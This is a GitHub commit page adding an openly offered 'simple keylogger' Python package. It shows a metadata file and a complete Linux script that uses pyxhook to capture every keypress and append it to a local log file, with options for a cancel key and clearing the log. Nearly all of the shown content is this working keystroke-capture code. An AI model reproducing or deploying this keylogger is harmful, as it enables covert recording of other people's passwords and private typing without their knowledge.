-
Notifications
You must be signed in to change notification settings - Fork 627
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
6ed0edb
commit c4db7ad
Showing
15 changed files
with
570 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Empty file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
__title__ = 'keylogger' | ||
__description__ = ' A simple keylogger for Windows, Linux and Mac ' | ||
__url__ = 'https://simple-keylogger.github.io' | ||
__version__ = '2.7.2' | ||
__author__ = 'Giacomo Lawrance' | ||
__author_email__ = '[email protected]' | ||
__license__ = 'MIT' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,63 @@ | ||
#!/usr/bin/env python | ||
import os | ||
from argparse import ArgumentParser | ||
|
||
from keylogger import pyxhook | ||
|
||
|
||
def main(): | ||
parser = ArgumentParser(description='A simple keylogger for Linux.') | ||
parser.add_argument( | ||
'--log-file', | ||
default=os.path.join(os.getcwd(), 'output.log'), | ||
help='Save the output in this file.', | ||
) | ||
parser.add_argument( | ||
'--clean-file', | ||
action='store_true', | ||
default=False, | ||
help='Clear the log file on startup.Default is No', | ||
) | ||
parser.add_argument( | ||
'--cancel-key', | ||
help='A single key that use as the cancel key, Default is ` (backtick)', | ||
) | ||
|
||
args = parser.parse_args() | ||
|
||
log_file = args.log_file | ||
|
||
if args.clean_file: | ||
try: | ||
os.remove(log_file) | ||
except OSError: | ||
# TODO: log with logging module | ||
pass | ||
|
||
cancel_key = args.cancel_key[0] if args.cancel_key else '`' | ||
|
||
def OnKeyPress(event): | ||
with open(log_file, 'a') as f: | ||
f.write('{}\n'.format(event.Key)) | ||
|
||
if event.Ascii == cancel_key: | ||
new_hook.cancel() | ||
|
||
new_hook = pyxhook.HookManager() | ||
new_hook.KeyDown = OnKeyPress | ||
new_hook.HookKeyboard() | ||
|
||
try: | ||
new_hook.start() | ||
except KeyboardInterrupt: | ||
# User cancelled from command line. | ||
pass | ||
except Exception as ex: | ||
# Write exceptions to the log file, for analysis later. | ||
msg = 'Error while catching events:\n {}'.format(ex) | ||
pyxhook.print_err(msg) | ||
with open(log_file, 'a') as f: | ||
f.write('\n{}'.format(msg)) | ||
|
||
if __name__ == '__main__': | ||
main() |
Oops, something went wrong.